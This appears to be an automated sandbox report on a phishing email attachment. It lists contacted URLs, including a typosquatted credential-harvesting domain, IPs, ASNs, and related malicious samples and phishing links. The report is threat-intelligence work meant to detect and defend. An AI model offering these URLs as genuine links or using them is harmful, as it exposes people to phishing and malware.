https://ridgelineexcavatoin.com/boot/8a55860f2cae358e560aa5f55856c7c166218b25540ff	false	unknown
https://ridgelineexcavatoin.com/APP-8a55860f2cae358e560aa5f55856c7c166218b27293e0/8a55860f2cae358e560aa5f55856c7c166218b27293e1	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal	false	high
https://ridgelineexcavatoin.com/x/8a55860f2cae358e560aa5f55856c7c166218b27293e6	false	unknown
https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301	true	unknown
http://www.pipebending.com/images/arrow-right.png	false	unknown
https://ridgelineexcavatoin.com/favicon.ico	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false	high
http://www.pipebending.com/images/background/home.jpg	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://shell.suite.office.com:1443	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://stats.g.doubleclick.net/g/collect	chromecache_218.12.dr	false		high
https://www.linkedin.com/company/benpro-technologies	~WRS{5460741B-FA72-4FC7-810C-3D1D00A59832}.tmp.0.dr	false		high
https://autodiscover-s.outlook.com/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://useraudit.o365auditrealtimeingestion.manage.office.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://outlook.office365.com/connectors	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://cdn.entity.	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://rpsticket.partnerservices.getmicrosoftkey.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://ampcid.google.com/v1/publisher:getClientId	chromecache_249.12.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://api.aadrm.com/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_232.12.dr	false		high
https://www.yammer.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://api.microsoftstream.com/api/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://cr.office.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://messagebroker.mobile.m365.svc.cloud.microsoft	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://otelrules.svc.static.microsoft	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://stats.g.doubleclick.net/j/collect	chromecache_249.12.dr	false		high
https://edge.skype.com/registrar/prod	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://tasks.office.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://officeci.azurewebsites.net/api/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://my.microsoftpersonalcontent.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://store.office.cn/addinstemplate	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://edge.skype.com/rps	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://messaging.engagement.office.com/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://www.odwebp.svc.ms	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://web.microsoftstream.com/video/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://graph.windows.net	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://d.docs.live.net	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		unknown
https://safelinks.protection.outlook.com/api/GetPolicy	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://ncus.contentsync.	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_232.12.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_218.12.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
http://weather.service.msn.com/data.aspx	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://pushchannel.1drv.ms	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://wus2.contentsync.	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/ios	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://api.addins.omex.office.net/api/addins/search	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://clients.config.office.net/user/v1.0/android/policies	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://entitlement.diagnostics.office.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://outlook.office.com/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://login.microsoftonline.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://www.linkedin.com/company=	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	false		high
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://graph.windows.net/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://devnull.onenote.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://messaging.office.com/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://skyapi.live.net/Activity/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://api.cortana.ai	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://messaging.action.office.com/setcampaignaction	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://visio.uservoice.com/forums/368202-visio-on-devices	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://staging.cortana.ai	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false	URL Reputation: safe	unknown
https://onedrive.live.com/embed?	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://augloop.office.com	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
http://www.pipebending.c=	Proposal Invitation_ Proposal is Due by the EOB May 15.eml	false		low
https://getbootstrap.com/)	chromecache_232.12.dr	false		high
https://api.diagnosticssdf.office.com/v2/file	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high
https://officepyservice.office.net/	081EE880-BC54-414B-B9D8-B87BC03C5EC8.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.191.217	ridgelineexcavatoin.com	United States	13335	CLOUDFLARENETUS	false
208.109.76.254	pipebending.com	United States	30148	SUCURI-SECUS	false
104.17.3.184	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.20.67	unknown	United States	13335	CLOUDFLARENETUS	false
184.25.164.138	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
64.233.177.99	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.2.184	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428429
Start date and time:	2024-04-18 23:04:17 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Proposal Invitation_ Proposal is Due by the EOB May 15.eml
Detection:	MAL
Classification:	mal64.phis.troj.winEML@43/163@20/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .eml

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.44.110, 52.113.194.132, 20.189.173.12, 74.125.136.94, 108.177.122.102, 108.177.122.113, 108.177.122.101, 108.177.122.138, 108.177.122.139, 108.177.122.100, 64.233.185.84, 34.104.35.123, 74.125.138.97, 64.233.176.95, 173.194.219.95, 108.177.122.95, 74.125.138.95, 64.233.185.95, 142.250.9.95, 74.125.136.95, 142.250.105.95, 64.233.177.95, 172.253.124.95, 142.251.15.95, 172.217.215.95, 172.253.124.100, 172.253.124.139, 172.253.124.138, 172.253.124.102, 172.253.124.101, 172.253.124.113, 216.239.32.178, 216.239.38.178, 216.239.36.178, 216.239.34.178, 52.109.4.7, 23.220.188.152, 34.193.227.236, 18.207.85.246, 107.22.247.231, 54.144.73.197, 162.159.61.3, 172.64.41.3, 96.7.224.9, 96.7.224.59, 64.233.185.94, 74.125.136.102, 74.125.136.138, 74.125.136.113, 74.125.136.100, 74.125.136.101, 74.125.136.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, us1.odcsm1.live.com.akadns.net, onedscolprdwus11.westus.cloudapp.azure.com, odc.officeapps.live.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, asia.configsvc1.live.com.akadns.net, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, maps.googleapis.com, clients2.google.com, www.googletagmanager.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, officeclient.microsoft.com, osiprod-eus2-bronze-azsc-000.eastus2.cloudapp.azure.com, www.google-analytics.com, clients1.google.com, ecs.office.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, krc-azsc-config.officeapps.live.com, acroipm2.adobe.com.edgesuite.net, prod.configsvc1.live.com.akadns.net, www-alv.google-analytics.com, p13n.adobe.io, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, eus2-azsc-000.odc.officeapps.live.com, edgedl.me.gvt1.
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
VT rate limit hit for: Proposal Invitation_ Proposal is Due by the EOB May 15.eml

Source	URL
Screenshot	https://ridgelineexcavatoin.com

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
184.25.164.138	file.pdf.download.lnk	Get hash	malicious	Unknown	Browse
	Factura_SA161.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse
	Re_ Medina County Kitchen.eml	Get hash	malicious	Unknown	Browse
	oiDDogdK9A.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse
	New_Order.xls	Get hash	malicious	Unknown	Browse
	https://enfoldindia.org/wp-content/uploads/2019/06/Restorative-Circle-Handbook-for-CCI.pdf	Get hash	malicious	Unknown	Browse
	TaxForm.lnk	Get hash	malicious	DarkGate, MailPassView	Browse
	https://ntnusa0-my.sharepoint.com/:f:/g/personal/ajaronik_ntnusa_com/EjzRads0Sf5Ivon47-zBKVABS1TZOI64W6Uv34YFqNQjmQ?e=NuZrjr	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	SOA.xls	Get hash	malicious	Unknown	Browse
	Document.pdf.lnk	Get hash	malicious	Unknown	Browse
172.67.191.217	https://adclick.g.doubleclick.net//pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&&adurl=//adclick.g.doubleclick.net//pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&&adurl=//clearandsound%E3%80%82com%2Fstar%2Fahxg4%2F%2FZnJhbmVrLnNvZHphd2ljem55QGdsb2JhbHRlY2huaWNhbHJlYWx0eS5jb20=&$	Get hash	malicious	HTMLPhisher	Browse
239.255.255.250	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FBigge/aDRmd79087aDRmd79087aDRmd/ZHN3ZWF6YUBiaWdnZS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://dinamicconsultores.app.questorpublico.com.br/	Get hash	malicious	HTMLPhisher	Browse
	https://notascam.lol/ATB/index.php	Get hash	malicious	Unknown	Browse
	https://msteams.link/WK80	Get hash	malicious	Phisher	Browse
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse
104.17.2.184	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FBigge/aDRmd79087aDRmd79087aDRmd/ZHN3ZWF6YUBiaWdnZS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse
	https://znixulyp.com/vGgw6o	Get hash	malicious	HTMLPhisher	Browse
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FC2educate/aEFQv26188aEFQv26188aEFQv/anVsaWUubG9uZ2lub0BjMmVkdWNhdGUuY29t	Get hash	malicious	HTMLPhisher	Browse
	http://gamma.app/docs/Adobe-1098-uanmwmhgl6i90tc?mode=doc	Get hash	malicious	Unknown	Browse
	http://t.cm.morganstanley.com/r/?id=h1b92d14%2C134cc33c%2C1356be32&p1=www.saiengroup.com%2Fteaz%2F648c482b60b3906833c9304bab170add%2FJBVNhz%2FYW15LmNoZW5AZG91YmxlbGluZS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	http://office-site-documentations0ivbe2.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse
	https://wumanchi.s3.eu-north-1.amazonaws.com/control_dbanty.html?page=_popup&pcnt=3	Get hash	malicious	HTMLPhisher	Browse
104.17.3.184	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FBigge/aDRmd79087aDRmd79087aDRmd/ZHN3ZWF6YUBiaWdnZS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	https://huntingtonoakmont-my.sharepoint.com/:b:/g/personal/cmariotti_oakmontcommunities_com/EeUv57weU1BKhs36H3rF_G0BHM4kTzJShI_ZPwFvp1P7-g?e=4UASJ5	Get hash	malicious	HTMLPhisher	Browse
	Nexpoint-annual-staff-promotion-and-benefits_KDV-791358.docx	Get hash	malicious	Unknown	Browse
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FC2educate/aEFQv26188aEFQv26188aEFQv/anVsaWUubG9uZ2lub0BjMmVkdWNhdGUuY29t	Get hash	malicious	HTMLPhisher	Browse
	http://gamma.app/docs/Adobe-1098-uanmwmhgl6i90tc?mode=doc	Get hash	malicious	Unknown	Browse
	http://t.cm.morganstanley.com/r/?id=h1b92d14%2C134cc33c%2C1356be32&p1=www.saiengroup.com%2Fteaz%2F648c482b60b3906833c9304bab170add%2FJBVNhz%2FYW15LmNoZW5AZG91YmxlbGluZS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	http://office-site-documentations0ivbe2.powerappsportals.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
challenges.cloudflare.com	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FBigge/aDRmd79087aDRmd79087aDRmd/ZHN3ZWF6YUBiaWdnZS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://znixulyp.com/vGgw6o	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://huntingtonoakmont-my.sharepoint.com/:b:/g/personal/cmariotti_oakmontcommunities_com/EeUv57weU1BKhs36H3rF_G0BHM4kTzJShI_ZPwFvp1P7-g?e=4UASJ5	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	Nexpoint-annual-staff-promotion-and-benefits_KDV-791358.docx	Get hash	malicious	Unknown	Browse	104.17.3.184
	http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=esi-doc.one/YWGTytNgAkCXj6A/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/c451eb59da652ea3e0bb7f8bf62dc775/bXNvbG9yemFub0Bsc2ZjdS5vcmc=&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse	104.17.3.184
	https://tracker.club-os.com/campaign/click?msgId=f8ea317d963149a518aa35e03e5541f797badf3c&target=splendidanimations.com%2F%40%2FC2educate/aEFQv26188aEFQv26188aEFQv/anVsaWUubG9uZ2lub0BjMmVkdWNhdGUuY29t	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	http://gamma.app/docs/Adobe-1098-uanmwmhgl6i90tc?mode=doc	Get hash	malicious	Unknown	Browse	104.17.3.184

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.21.71.20
	KZWCMNWmmqi9lvI.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Payment.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	DOCUMENTS OF OWNERSHIP AND PAYMENT REQUIREMENTS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	Gcerti Quote.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Arba Outstanding Statement.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
SUCURI-SECUS	http://nhstrusthelpdesk6269.brizy.site	Get hash	malicious	Unknown	Browse	192.124.249.103
	https://seuryj.tovqibksfrlsgn1933.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	192.124.249.111
	http://www.theorlandotimesnewspaper.com	Get hash	malicious	Unknown	Browse	208.109.68.254
	http://loveevamk.life	Get hash	malicious	Unknown	Browse	192.124.249.7
	http://Idlewildimports.com	Get hash	malicious	Unknown	Browse	192.124.249.32
	https://www2.idlewildimports.com/	Get hash	malicious	Unknown	Browse	192.124.249.119
	https://www.wonderlandmagazine.com/2022/02/10/kate-clover-documentary/	Get hash	malicious	Unknown	Browse	192.124.249.62
	http://sellugsk.live	Get hash	malicious	Unknown	Browse	192.124.249.4
	https://wee.so/kv4n0	Get hash	malicious	Unknown	Browse	192.124.249.11
	http://mos.services	Get hash	malicious	Unknown	Browse	192.124.249.20
CLOUDFLARENETUS	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.21.71.20
	KZWCMNWmmqi9lvI.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Payment.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	DOCUMENTS OF OWNERSHIP AND PAYMENT REQUIREMENTS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	Gcerti Quote.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Arba Outstanding Statement.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
CLOUDFLARENETUS	tA6etkt3gb.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	mdWXrbOxsY.exe	Get hash	malicious	Xehook Stealer	Browse	172.67.169.128
	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	104.21.71.20
	KZWCMNWmmqi9lvI.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Payment.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	DOCUMENTS OF OWNERSHIP AND PAYMENT REQUIREMENTS.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	104.26.12.205
	Gcerti Quote.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Arba Outstanding Statement.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.12.205
BBIL-APBHARTIAirtelLtdIN	file.pdf.download.lnk	Get hash	malicious	Unknown	Browse	184.25.164.138
	Factura_SA161.pdf.lnk	Get hash	malicious	RHADAMANTHYS	Browse	184.25.164.138
	Ud310iQZnO.elf	Get hash	malicious	Mirai	Browse	182.74.25.30
	tWpGuzQQoW.elf	Get hash	malicious	Mirai	Browse	122.185.203.209
	kGbjOmkleq.elf	Get hash	malicious	Mirai	Browse	125.23.195.204
	iH18gdEj8Y.elf	Get hash	malicious	Mirai	Browse	125.19.93.33
	xmncOD7BwX.elf	Get hash	malicious	Mirai	Browse	122.184.236.50
	SFTNQEBmOA.elf	Get hash	malicious	Unknown	Browse	182.79.2.232
	Hays_compiled_documents.ZIP.js	Get hash	malicious	CobaltStrike, Ducktail	Browse	23.45.148.189
	Gq730kmpiE.elf	Get hash	malicious	Unknown	Browse	122.181.178.15

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://wzxqi.theknittingdoula.com/ghoopuh/lopwiuiye	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
